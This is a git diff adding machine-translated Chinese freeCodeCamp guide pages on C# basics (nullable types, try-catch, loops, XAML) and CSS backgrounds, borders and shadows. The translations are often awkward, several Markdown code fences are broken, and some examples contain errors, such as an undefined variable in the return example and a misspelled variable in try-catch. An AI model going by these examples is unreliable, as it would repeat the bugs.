+localeTitle: 可空类型
+---
+## 可空类型
+
+可以为Nullable的类型是[System.Nullable的](https://docs.microsoft.com/en-us/dotnet/api/system.nullable-1)实例结构。 可空类型可以表示其基础值类型的正确值范围，以及额外的`null`值。 当您处理可能包含没有赋值的元素的数据库或其他数据类型时，此功能非常有用。
+
+#### 如何使用可空类型
+
+```csharp
+// Declare a variable of Nullable type (Nullable<int>) 
+ int? i = null; 
+ 
+ int  j = 0; 
+ int defaultValue = 0; 
+ 
+ // test for null and assign value to another variable 
+ if (i.HasValue) 
+ { 
+    j = i.Value; 
+ } 
+ 
+ // get assigned value or default when current value is null 
+ j = i.GetValueOrDefault(); // i.GetValueOrDefault(defaultValue) 
+ 
+ //use coalescing operator to assign default value when current value is null 
+ j = i ?? defaultValue; 
+```
+
+有关更多信息，请访问以下链接：
+
+*   [C＃编程指南：可空类型](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/nullable-types/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/return/index.md b/client/src/guide/chinese/csharp/return/index.md
new file mode 100644
index 0000000000..4fbce55a92
--- /dev/null
+++ b/client/src/guide/chinese/csharp/return/index.md
@@ -0,0 +1,37 @@
+---
+title: Return Statement
+localeTitle: 退货声明
+---
+# 退货声明
+
+`return`语句终止它出现的方法的执行，并将控制返回给调用方法。它可能会也可能不会返回值。
+
+如果`return`语句在`try`块内并且如果有`finally`块，则控件被传递给`finally`块，之后它将返回到调用方法。
+
+## 例
+```
+class Calc 
+ { 
+  static int Sum(int i, int j) 
+  { 
+    return i + j; 
+  } 
+ 
+  static void Main() 
+  { 
+    int a = 4; 
+    int b = 3; 
+    int sum = Sum(a, b); 
+    Console.WriteLine($"The sum of {a} and {b} is {result}"); 
+ 
+    // To keep the console from closing 
+    Console.ReadLine(); 
+  } 
+ } 
+```
+
+## 输出：
+
+\`\`\`
+
+> 4和3的总和是7 \`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/split/index.md b/client/src/guide/chinese/csharp/split/index.md
new file mode 100644
index 0000000000..94879d7003
--- /dev/null
+++ b/client/src/guide/chinese/csharp/split/index.md
@@ -0,0 +1,32 @@
+---
+title: Split
+localeTitle: 分裂
+---
# 拆分方法
+
+`String.Split`方法解析一个字符串：作为输入，它接受一个指示分隔符的字符，并生成一个子字符串数组。
+
+## 例
+
+```csharp
+string myText = "I like pizza"; 
+ 
+ // Split the string by ' '(space) character. 
+ string[] splitResult = myText.Split(' '); 
+ 
+ // The array splitResult, now contains three substrings. 
+ 
+ // Now print the array of substrings 
+ foreach(string x in splitResult) 
+ { 
+    // Write On Console 
+    Console.WriteLine(x); 
+ } 
+```
+
+## 输出：
+```
+> I 
+ > like 
+ > pizza 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/string-interpolation/index.md b/client/src/guide/chinese/csharp/string-interpolation/index.md
new file mode 100644
index 0000000000..6b3eb57526
--- /dev/null
+++ b/client/src/guide/chinese/csharp/string-interpolation/index.md
@@ -0,0 +1,29 @@
+---
+title: String Interpolation
+localeTitle: 字符串插值
+---
+# 字符串插值
+
+在C＃中，通常要连接字符串，您可以使用“+”运算符或复合格式与String.Format之类的方法。通过复合格式化，我指的是带有索引占位符（格式项）的格式字符串以及要在占位符中使用的对象列表。
+
+# ＃
+```
+string message = "Hello " + firstName + " " + lastName + "!"; 
+ 
+ string message2 = string.Format("Hello {0} {1}!", firstName, lastName); 
+```
+
+对于插值字符串表达式，您有一个包含表达式的字符串，该表达式将替换为表达式的结果。您必须在字符串文字前面加上美元符号（$）。您希望包含在字符串中的表达式以花括号括起来。上面的消息现在看起来像这样：
+
+# ＃
+```
+string message = $"Hello {firstName} {lastName}!"; 
+```
+
+**一点点有用的信息** 在字符串插值中，您可以调用函数，属性和三元运算符：
+```
+int a = 3; 
+ int b = 454; 
+ string result = $"{a}+{b} = {a+b}"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/substring/index.md b/client/src/guide/chinese/csharp/substring/index.md
new file mode 100644
index 0000000000..df1df991b4
--- /dev/null
+++ b/client/src/guide/chinese/csharp/substring/index.md
@@ -0,0 +1,25 @@
+---
+title: Substring
+localeTitle: 子
+---
# 子
+
+`Substring`提取字符串值的一部分。它与2个整数参数一起使用，第一个是第一个字符的位置（以索引0开头），第二个是所需的字符长度。
+
+## 例
+```
+string firstSentence = "Apple, I have."; 
+ string secondSentence = "I have a Pen."; 
+ 
+ string apple = firstSentence.Substring(0,5); 
+ string pen = secondSentence.Substring(9,3); 
+ 
+ Console.WriteLine(apple); 
+ Console.WriteLine(pen); 
+```
+
+## 输出：
+```
+>Apple 
+ >Pen 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/switch-case/index.md b/client/src/guide/chinese/csharp/switch-case/index.md
new file mode 100644
index 0000000000..52f1561ce9
--- /dev/null
+++ b/client/src/guide/chinese/csharp/switch-case/index.md
@@ -0,0 +1,49 @@
+---
+title: Switch Case
+localeTitle: 开关盒
+---
+# 开关盒
+
+Switch是一个选择语句，根据与要计算的表达式/值匹配的值选择switch case部分。 1如果case语句都不匹配switch变量的值，则选择默认路径。 switch语句就像一组`if statements` 。我们`break`从交换机退出。
+
+## 例
+```
+public enum Colors { Red, Blue, Green, Orange } 
+ 
+ Colors myColor; 
+ 
+ ... myColor is set to one of the enum values ... 
+ 
+ switch(myColor){ 
+  case Colors.Red: 
+    Console.WriteLine("How you like them apples?"); 
+    break; 
+  case Colors.Blue: 
+    Console.WriteLine("Ice Ice Baby..."); 
+    break; 
+  case Colors.Green: 
+    Console.WriteLine("Fore!"); 
+    break; 
+  default: 
+    Console.WriteLine("I have a hard time when I try to rhyme."); 
+ } 
+```
+
+## 产量
+```
+If myColor is Colors.Red: 
+ > How you like them apples? 
+ 
+ If myColor is Colors.Blue: 
+ > Ice Ice Baby... 
+ 
+ If myColor is Colors.Green: 
+ > Fore! 
+ 
+ If myColor is Colors.Orange: 
+ > I have a hard time when I try to rhyme. 
+```
+
+### 资料来源：
+
+*   1 https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/switch
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/ternary-operator/index.md b/client/src/guide/chinese/csharp/ternary-operator/index.md
new file mode 100644
index 0000000000..e152266564
--- /dev/null
+++ b/client/src/guide/chinese/csharp/ternary-operator/index.md
@@ -0,0 +1,41 @@
+---
+title: Ternary operator
+localeTitle: 三元运算符
+---
+# 三元运算符（ `?:` :)
+
+三元运算符根据条件返回两个表达式中的一个。它可以用作if ... else语句的快捷方式。
+
+## 句法
+```
+condition_expression ? expression_1 : expression_2 
+```
+
+### 参数
+
+`condition_expression` 布尔表达式。
+
+`expression_1` 如果`condition_expression`为true，则返回。
+
+`expression_2` 如果`condition_expression`为false，则返回。
+
+## 例
+```
+// initialize - set true or false here to view different result 
+ bool hasFreeSweet = false; 
+ 
+ string str = hasFreeSweet ? "Free sweet!" : "No free sweet."; 
+ 
+ //output in console 
+ Console.WriteLine(str); 
+```
+
+## 产量
+```
+if hasFreeSweet == true 
+ > Free sweet! 
+ 
+ if hasFreeSweet == false 
+ > No free sweet. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/try-catch/index.md b/client/src/guide/chinese/csharp/try-catch/index.md
new file mode 100644
index 0000000000..349ca0a4c4
--- /dev/null
+++ b/client/src/guide/chinese/csharp/try-catch/index.md
@@ -0,0 +1,108 @@
+---
+title: Try Catch Finally
+localeTitle: 尝试抓住最后
+---
+# 尝试抓住最后
+
+Try-Catch-Finally块用于避免破坏应用程序的未处理异常。当您的代码`throws`一个位于`try`部分之间的异常时，它将被捕获在语句的`catch`部分，您可以根据需要处理它。 `finally`语句总是在`finally`运行，通常用于清理非托管资源。您并不总是需要存在三个块，下面是有效选项。
+
+*   的try-catch-最后
+*   试着抓
+*   尝试，最后
+
+## 句法
+
+```csharp
+try 
+ { 
+   // Code which could potentially throw an exception 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ catch(Exception e) 
+ { 
+    // Code to handle the exception 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ finally 
+ { 
+    // Code which will always run no matter what. 
+    Console.WriteLine("Try-Catch block has finished execution"); 
+ } 
+```
+
+在上面的例子中，我们试图将'abcde'转换为数值。此行将抛出异常，因为它无法成功转换为数字。 execption将被捕获到catch块中，异常消息和其他详细信息将存储在catch块中指定的变量中（上例中的字母“e”）。完成所有这些后，将执行“finally”部分以完成它。
+
+## 尝试阻止
+
+try块应放在可能与普通行为不同的代码周围，并导致`Exception`并破坏您的应用程序。通过尝试阻止您可以保护自己免受致命的应用程序崩溃。重要的是要注意，一旦您的应用程序出现错误并抛出异常， `Try`块中的其余代码将**不会**被执行。
+
+try块有自己的方法范围，因此在try块内部无法访问try块内声明的任何变量。
+
+```csharp
+try 
+ { 
+    // Read user input from the console. 
+    var userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Not correct 
+```
+
+以上将为您提供编译时错误，因为无法访问值'userInput'。如果需要访问try-catch块之外的变量，则需要在try块之前声明变量。
+
+```csharp
+var userInput = ""; 
+ try 
+ { 
+    // Read user input from the console. 
+    userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Correct 
+```
+
+## 抓住块
+
+您可以在此块中指定要捕获的`Exception`类型。如果要捕获所有可能的异常，可以使用`Exception`基类。如果您只想捕获特定类型的异常，则可以指定该异常。其他异常类型的一些示例是`ArgumentException` ， `OutOfMemoryException`和`FormatException` 。
+
+```csharp
+try 
+ { 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ // Only FormatExceptions will be caught in this catch block. 
+ catch(FormatException exceptionVariable) 
+ { 
+    Console.WriteLine(exceptionVariable.Message); 
+ } 
+```
+
+在异常类型之后声明的变量将包含异常的所有数据，并且可以在`Catch`块中使用。
+
+## 最后阻止
+
+在`Try`和`Catch`块之后，finally块**始终**在最后运行。无论是否抛出异常，此部分通常用于**必须**在最后发生的事情。 例如，假设我们需要一个变量，以便在它一直被操纵之后总是重新初始化为特定的数字。
+
+```csharp
+int initalValue = 12; 
+ try 
+ { 
+    // Code which manipulates 'initialValue' 
+ } 
+ finally 
+ { 
+    Console.WriteLine("re-initalising value back to 12"); 
+    initialValue = 12; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/while-loop/index.md b/client/src/guide/chinese/csharp/while-loop/index.md
new file mode 100644
index 0000000000..e6a9be729c
--- /dev/null
+++ b/client/src/guide/chinese/csharp/while-loop/index.md
@@ -0,0 +1,53 @@
+---
+title: While Loop
+localeTitle: 而Loop
+---
# 而Loop
+
+while循环执行代码块，直到指定的条件为false。因为while表达式的测试是在每次执行循环之前进行的，所以while循环执行零次或多次。这与do循环不同，do循环执行一次或多次，因为表达式的测试发生在循环执行之后。 1
+
+## 例
+
+```csharp
+int i = 0; 
+ while (i < 5) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+```
+
+### 输出：
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+## 其他用途
+
+while循环通常通过使用（例如） `while (true)`用于无限的iterrations，仅通过与循环的初始条件无关的条件结束。
+
+```csharp
+int i = 0; 
+ while (true) 
+ { 
+    if(i<50){ 
+        Console.WriteLine("Number " + i); 
+        i++; 
+    } 
+    else{ 
+        Console.WriteLine("End of loop"); 
+        break; 
+    } 
+ } 
+```
+
+## 与`for`循环的差异
+
+`for`和`while`循环之间的最大区别在于， `while`通常在开发人员不确定循环的确切迭代次数时使用，而`for`用于清楚迭代代码的次数时使用。
+
+### 来源
+
+*   [微软C＃ - 同时](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/while)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/xaml/index.md b/client/src/guide/chinese/csharp/xaml/index.md
new file mode 100644
index 0000000000..b382cc14dd
--- /dev/null
+++ b/client/src/guide/chinese/csharp/xaml/index.md
@@ -0,0 +1,41 @@
+---
+title: Xaml
+localeTitle: XAML
+---
+## XAML：可扩展的应用程序标记语言
+
+XAML发音为“Zammel”是由Microsoft开发的标记语言。该标记语言主要用于设计GUI。它在工作流程中的可用性也很受欢迎。
+
+Silverlight，移动开发，WPF（Windows Presentation Foindation），Windows Store等领域大量使用XAML，跨越任何CLR和.NET框架
+
+它是一种语言并且回答什么和如何。它旨在将行为与设计器代码分开。
+
+## 例
+
+创建具有多个属性的TextBlock。 TextBlocks通常用于输出文本，非常类似于.NET框架的旧版本中的Labels。
+
+```xml
+<TextBlock Text="I am a TextBlock!" 
+    HorizontalAlignment="Left" 
+    FontSize="25" 
+    FontWeight="Bold" 
+    Margin="50,10,0,0" /> 
+```
+
+### 例2
+
+以下示例显示了带有“Hello World！”的标签。作为其顶级容器中的内容，称为UserControl。
+
+```XAML
+<UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> 
+    <Label Content="Hello World!" /> 
+ </UserControl> 
+```
+
+### 更多信息：
+
+*   [关于XAML和WPF引擎的初学者文章](http://www.c-sharpcorner.com/UploadFile/logisimo/a-beginners-article-about-xaml-and-the-wpf-engine/)
+    
+*   [XAML Magic：附加属性](http://www.codemag.com/article/1405061)
+    
+*   [XAML概述（WPF）](https://docs.microsoft.com/en-us/dotnet/framework/wpf/advanced/xaml-overview-wpf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/background-opacity/index.md b/client/src/guide/chinese/css/background-opacity/index.md
new file mode 100644
index 0000000000..26f4f5111b
--- /dev/null
+++ b/client/src/guide/chinese/css/background-opacity/index.md
@@ -0,0 +1,62 @@
+---
+title: Background Opacity
+localeTitle: 背景不透明度
+---
+## 背景不透明度
+
+opacity属性指定元素的不透明度/透明度，即元素后面的内容可见的程度。
+
+opacity属性的值可以是0.0 - 1.0。值越低，越透明：
+
+[在此](https://www.w3schools.com/css/css_image_transparency.asp)查找更多详情
+
+您可以选择在何种程度上使元素透明化。 您必须添加以下CSS属性才能实现透明度级别。
+
+**完全不透明**
+
+```css
+.class-name { 
+  opacity:1; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:1.0; 
+ } 
+```
+
+**半透明**
+
+```css
+.class-name { 
+  opacity:0.5; 
+ } 
+ Opacity value can be anything between 0 and 1; 
+```
+
+**透明**
+
+```css
+.class-name { 
+  opacity:0; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:0.0; 
+ } 
+```
+
+或者，您可以使用透明的rgba值，如下所示： \`\`\`CSS
+
+。班级名称{ background-color：rgba（0,0,0，.5）; } \`\`\` 上面的示例将背景设置为黑色，不透明度为50％。 rgba值的最后一个值是alpha值。 α值为1等于100％，0.5（简称为.5）则为50％。我们使用此方法为元素添加透明度而不影响内部内容。
+
+[用于显示背景不透明度范围的codepen示例](https://codepen.io/lvcoulter/full/dVrwmK/)
+
+#### 更多信息：
+
+有关更多信息，请访问[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity) [CSS-Tricks的Opacity CSS属性](https://css-tricks.com/almanac/properties/o/opacity/)
+
+浏览器支持： [caniuse](https://caniuse.com/#search=opacity)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/background-size/index.md b/client/src/guide/chinese/css/background-size/index.md
new file mode 100644
index 0000000000..423121d766
--- /dev/null
+++ b/client/src/guide/chinese/css/background-size/index.md
@@ -0,0 +1,35 @@
+---
+title: Background Size
+localeTitle: 背景大小
+---
+## 背景大小
+
+background-size属性指定背景图像的大小。您可以设置长度或百分比，第一个值是宽度，第二个值是高度。您还可以使用以下5个关键字值之一：
+
+```css
+.auto {background-size: auto;} 
+ .cover {background-size: cover;} 
+ .contain {background-size: contain;} 
+ .initial {background-size: initial;} 
+ .inherit {background-size: inherit;} 
+ /* Percentage and pixel can also be used */ 
+ .pixel {background-size: 50px 50px;} 
+ .percentage {background-size: 50% 50%;} 
+```
+
+要在多个背景图像上设置此属性，请用逗号分隔值：
+
+```css
+.multiple { 
+    background-image: url(1.png), url(2.png); 
+    background-size: 3px 3px, cover; 
+ } 
+```
+
+#### 更多信息：
+
+文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background-size)
+
+CSS-Tricks： [背景大小](https://css-tricks.com/almanac/properties/b/background-size/)
+
+浏览器支持： [caniuse](http://caniuse.com/#search=background-size)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/background/index.md b/client/src/guide/chinese/css/background/index.md
new file mode 100644
index 0000000000..ad73cbaf76
--- /dev/null
+++ b/client/src/guide/chinese/css/background/index.md
@@ -0,0 +1,177 @@
+---
+title: Background
+localeTitle: 背景
+---
+## 背景
+
+background属性允许您使用图像和颜色为网页创建背景。
+
+### 背景颜色
+
+背景颜色属性允许您选择元素的颜色。这可以是整个页面的背景或页面一个部分的背景。
+
+*   元素是一段HTML，例如网页上的标题或段落。
+
+以下是将网页的背景颜色设置为绿色的示例。
+
+```css
+  body { 
+    background-color: green; 
+  } 
+```
+
+![fullbackground](https://user-images.githubusercontent.com/26467304/31036038-845567f2-a538-11e7-8e6c-8a52bb0d44b8.png)
+
+以下是为两个元素设置颜色的示例。这将设置标题的背景 到紫色，页面的其余部分为蓝色。
+
+```css
+  body { 
+    background-color: blue; 
+  } 
+  h1 { 
+    background–color: purple; 
+  } 
+```
+
+![twobackground](https://user-images.githubusercontent.com/26467304/31036152-0607936a-a539-11e7-9e9f-a5e60ade042d.png)
+
+在CSS中，颜色可以通过三种方式定义：
+
+*   有效的颜色名称，例如`blue`
+*   HEX值，例如`#FFFFF` （这是白色的十六进制值。）
+*   RGB值，例如`rgb(76,175,80)` （这是浅绿色的RGB值。）
+
+### 背景图片
+
+您可以使用背景图像属性将图像设置为元素的背景。 默认情况下会重复该图像，以便覆盖整个元素。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+ } 
+```
+
+![图片](https://user-images.githubusercontent.com/26467304/31036366-eb1fc260-a539-11e7-835d-e3f935a22c86.png)
+
+您还可以使用他们的链接链接您在线找到的图片或GIF（即从Google图像搜索）。
+
+```css
+body { 
+  background-image: url("https://mdn.mozillademos.org/files/11983/starsolid.gif"); 
+ } 
+```
+
+### 背景图像 - 重复属性
+
+默认情况下，背景图像垂直（上下）和水平（跨网页）重复。 您可以使用background-repeat属性垂直或水平重复图像。
+
+这是一个垂直重复图像的示例。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-y; 
+ } 
+```
+
+![垂直](https://user-images.githubusercontent.com/26467304/31039770-8962c7a6-a54e-11e7-9d25-4fb09760d219.PNG)
+
+您可以通过将background-repeat属性设置为“repeat-x”来水平重复图像。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-x; 
+ } 
+```
+
+您还可以使用background-repeat属性将图像设置为不重复。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+ } 
+```
+
+![norepeat](https://user-images.githubusercontent.com/26467304/31039801-c8761efc-a54e-11e7-8bb9-ec5b88885a50.PNG)
+
+### 背景图片 - 位置属性
+
+您可以使用position属性指定图像在网页上的位置。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+```
+
+![位置](https://user-images.githubusercontent.com/26467304/31039828-077d1038-a54f-11e7-8aa6-092253ca92b8.PNG)
+
+### 背景图像 - 固定位置
+
+您可以使用background-attachment属性将图像设置为固定位置。 固定位置使得图像不会与页面的其余部分一起滚动。
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+  background-attachment: fixed; 
+ } 
+```
+
+![固定](https://user-images.githubusercontent.com/26467304/31039859-39612c92-a54f-11e7-93ca-9d7bcb938225.PNG)
+
+### 背景渐变
+
+渐变是两种或更多种颜色之间的过渡，可以通过类似于背景图像的CSS使用。
+
+渐变背景的语法可能非常复杂，并且由于支持的浏览器之间的不一致，因此通常仍与供应商前缀一起使用。
+
+[Colorzilla Gradient Editor](http://www.colorzilla.com/gradient-editor/)是一个很棒的在线工具，用于生成自定义渐变和相关的css标记。
+
+### 背景 - 速记属性
+
+您可以在一行中编写背景属性。这被称为速记属性。
+
+```css
+body { 
+  background: url("barn.jpg") no-repeat right top; 
+ } 
+```
+
+使用速记属性但属性时，可以省略不需要的属性 必须按特定顺序使用。订单是：
+
+*   颜色
+*   图片
+*   重复
+*   附件
+*   位置
+
+### 多个背景图像
+
+您可以在单个背景属性中指定多个背景图像。
+
+```css
+body { 
+  background: url("barn.jpg"), url("stars.jpg"), linear-gradient(rgba(0, 0, 255, 0.5), rgba(255, 255, 0, 0.5)); 
+ } 
+```
+
+指定的第一个图像（或渐变）位于顶部，第二个位于后面，依此类推。 如果其中一个元素由于其URL或语法而不正确，则浏览器将忽略整行。
+
+### CSS的一些基本背景属性
+
+CSS背景属性用于定义元素的背景效果。
+
+CSS背景属性： 背景颜色 背景图片 背景重复 背景附件 背景位置
+
+您可以参考W3学校的以下链接，了解有关CSS中背景和相关内容的更多信息。 [背景参考W3](https://www.w3schools.com/css/css_background.asp)
+
+### 其他资源
+
+*   [颜色值列表](http://cloford.com/resources/colours/500col.htm)
+*   [拾色器工具](http://colrd.com/create/palette/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/before-selector/index.md b/client/src/guide/chinese/css/before-selector/index.md
new file mode 100644
index 0000000000..233cc388e2
--- /dev/null
+++ b/client/src/guide/chinese/css/before-selector/index.md
@@ -0,0 +1,66 @@
+---
+title: Before Selector
+localeTitle: 选择器之前
+---
+## 选择器之前
+
+CSS **:: before**选择器可用于在内容元素之前插入任何内容。它允许设计者在元素中的内容之前执行任何css设计。它通过将**:: before**附加到要使用的元素上来使用。
+
+我们来看一些例子：
+
+```css
+p::before { 
+    content: ""; 
+    border: solid 5px #ccc 
+ } 
+ 
+ span.comment::before{ 
+  content: "Comment: "; 
+  color: blue; 
+ } 
+```
+
+```html
+
+<p> To infinity and beyond</p> 
+ <p> I am buz lightyear, I come in peace.</p> 
+ 
+ <span class="comment"> May the force be with you</span> 
+ <br/> 
+ <span> Do. Or do not. There is no try</span> 
+```
+
+在上面的示例中，我们在页面上的每个段落元素之前添加了一个灰色边框，并且我们还在每个span元素之前使用类注释添加了注释蓝色。
+
+> 你可以在这里查看这个演示https://jsfiddle.net/398by400/
+
+#### 定义和用法
+
+`::before`是CSS伪元素选择器之一，用于设置元素的指定部分的样式。在这种情况下，我们可以在CSS的某些HTML元素之前插入内容。虽然我们将在页面中看到内容，但它不是DOM的一部分，这意味着我们无法通过Javascript操纵它。解决这个障碍的一个技巧是：使用数据属性传递内容并使用jQuery来操作它。这是一个使用示例：
+
+```css
+   p::before { 
+     content: "Hello "; 
+   } 
+```
+
+```html
+
+<p>world!!</p> 
+```
+
+这将显示`Hello world!!`在页面中。
+
+不仅字符串，图像，计数器甚至没有（“”，对于clearfix有用）都可以插入到`content`属性中，而**不是HTML中** 。以创造性的方式使用`::before`和`after`可以制作很多很酷的东西。如果你很好奇，你可以看看下一个链接： [一堆惊人的东西伪元素可以做](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+#### 单结肠与双结肠
+
+关于使用伪元素的正确方法有一些讨论：旧式单冒号（ `:before` ），在CSS规范1和2中使用，与CSS3 recomendation，双冒号（ `::before` ），主要是为了_“建立”伪类和伪元素之间的区别“_ 。但出于兼容性原因，仍然接受单冒号。谈到兼容性，IE8仅支持单冒号表示法。
+
+#### 更多信息：
+
+[W3Schools CSS伪元素](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+[CSS-Tricks ::在/ ::之前](https://css-tricks.com/almanac/selectors/a/after-and-before/)
+
+[使用jQuery选择和操作CSS伪元素，例如:: before和:: after](https://stackoverflow.com/questions/5041494/selecting-and-manipulating-css-pseudo-elements-such-as-before-and-after-usin)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/borders/index.md b/client/src/guide/chinese/css/borders/index.md
new file mode 100644
index 0000000000..76b238eb64
--- /dev/null
+++ b/client/src/guide/chinese/css/borders/index.md
@@ -0,0 +1,116 @@
+---
+title: Border Property
+localeTitle: 边境财产
+---
+## 边境财产
+
+## CSS边框
+
+我们个人最喜欢的CSS属性允许您完全自定义HTML元素周围出现的边框。使用HTML，过去不可能在元素周围放置边框，除了表格。与HTML的过时方法相比，CSS Borders可以让您创建清晰，自定义的边框样式，而且工作量很少。
+
+`border`简写属性在一个声明中设置所有边框属性。 \`\`\`CSS 边框：1px solid＃000;
+```
+The properties that can be set, are (in order): 
+ 1. `border-style` 
+ 2. `border-width` 
+ 3. `border-color` 
+ 4. `border-radius` 
+ 
+ It does not matter if one of the values above are missing, for example: 
+```
+
+CSS 边界：纯红色;
+```
+The above code is also valid CSS. 
+ 
+ ### Border Styles 
+ 
+ The `border-style` property sets a wide range of different types of borders. 
+ 
+ The various values are: 
+ - `dotted` - Sets a dotted border. 
+ - `dashed` - Sets a dashed border. 
+ - `solid` - Sets a solid border. 
+ - `double` - Sets a double border. 
+ - `groove` - Sets a 3D grooved border. 
+ - `ridge` - Sets a 3D ridged border. 
+ - `inset` - Sets a 3D inset border. 
+ - `outset` - Sets a 3D outset border. 
+ - `none` - Sets no border. 
+ - `hidden` - Sets a hidden border. 
+ 
+ Based on the property you choose, these styles can be mismatched. 
+ You can style each side seperately: 
+```
+
+CSS border-top-style：solid; border-left-style：dotted; border-right-style：dashed; border-bottom-style：double;
+```
+Or you can style them all at once: 
+```
+
+CSS 边框式：实心虚线双点;
+```
+As shown, the border property allows you to select different sections of it. [top, bottom, left, right] 
+ 
+ ### Border Width 
+ 
+ To alter the thickness of your border use the border-width attribute. You may use key terms or exact values to define the border width. Note: You must 
+ define a border-style for the border to show up. The width can be set as a specific size (in px, pt, cm, em, etc) or by using one of the three pre-defined 
+ values: thin, medium, or thick. 
+ 
+ Example: 
+```
+
+CSS
+
+table { border-width: 7px; border-style: outset; } td { border-width: medium; border-style: outset; } p { border-width: thick; border-style: solid; }
+```
+### Border Color 
+ 
+ Now for the creative aspect of CSS Borders! With the use of the border-color attribute, you will be able to create customized borders to fit the flow and layout 
+ of your website. Border colors can be any color defined by RGB, hexadecimal, or key terms. Below is an example of each of these types. 
+ 
+ Example: 
+```
+
+CSS
+
+table { border-color: rgb( 100, 100, 255); border-style: dashed; } td { border-color: #FFBD32; border-style: ridge; } p { border-color: blue; border-style: solid; }
+```
+### Border-Radius 
+ The `border-radius` property allows the corners of a border to be rounded. This is done by providing a size for 
+ how much the border is to be rounded. Size can be in px or %. 
+```
+
+CSS border-radius：25px;
+```
+Each corner of `border-radius` can be adjusted. The order is top, bottom, left, right. 
+```
+
+CSS border-radius：15％10px 30％5px;
+```
+### Border: All in One 
+ 
+ While it is nice that CSS allows a web developer to be very specific in creating a customized border, sometimes it is just easier and less of a headache to create a uniform border, all in single line of CSS code. 
+ 
+ Example: 
+```
+
+CSS
+
+p { border: 20px outset blue; } h4 { border: 5px solid; } h5 { border: dotted; }
+
+\`\`\`
+
+### 更多信息：
+
+*   [MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
+*   [CSS3边界半径](https://guide.freecodecamp.org/css/css3-borders-rounded-corners)
+
+### 其他边界属性
+
+*   'border-radius' - 这可以设置边框的半径。
+*   'border-spacing' - 这可以设置文本和边框之间的间距。
+*   'border-image' - 将图像设置为边框。
+
+浏览器支持：IE6 +
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/box-shadow/index.md b/client/src/guide/chinese/css/box-shadow/index.md
new file mode 100644
index 0000000000..79ea957407
--- /dev/null
+++ b/client/src/guide/chinese/css/box-shadow/index.md
@@ -0,0 +1,82 @@
+---
+title: Box Shadow
+localeTitle: 盒子阴影
+---
+## 盒子阴影
+
+`box-shadow`属性在元素的框架周围附加一个或多个阴影（可以在内部）。它是一个选项，让您有能力轻松设计精彩的阴影效果。框阴影是提升网页视觉效果的绝佳方式。
+
+可以用几个属性描述盒子阴影，包括：
+
+*   X和Y偏离元素
+*   模糊和传播半径
+*   颜色
+
+### 句法：
+
+```css
+  div { 
+    box-shadow: none | [inset? && [ <offset-x> <offset-y> <blur-radius>? <spread-radius>? <color>? ] ]# 
+    } 
+  ``` 
+ * #### inset (default: none) 
+ If not specified, the shadow is assumed to be a drop shadow (as if the box were raised above the content). 
+ The presence of the `inset` keyword changes the shadow to one inside the frame 
+ 
+ * #### offset-x offset-y 
+ These are two `length` values to set the shadow offset. <offset-x> specifies the horizontal distance. Negative values place the shadow to the left of the element. `offset-y` specifies the vertical distance. Negative values place the shadow above the element. See `length` for possible units. 
+ 
+ * #### blur-radius (default: 0) 
+ This is a third `length` value. The larger this value, the bigger the blur, so the shadow becomes bigger and lighter. Negative values are not allowed. If not specified, it will be 0 (the shadow's edge is sharp). 
+ 
+ * #### spread-radius (default: 0) 
+ This is a fourth <length> value. Positive values will cause the shadow to expand and grow bigger, negative values will cause the shadow to shrink. If not specified, it will be 0 (the shadow will be the same size as the element). 
+ 
+ * #### color 
+ This value is used to set the color of the shadow, usually defined with hex `#000000`, rgba value `rgba(55,89,88,0.8)` or rgb value `rgb(55,89,88)` 
+ 
+ #### Extended 
+ 
+ To maximize compatibility, it is recommended that you declare box shadow property for `moz-appearance` and `webkit`, this extends the normal syntax to: 
+```
+
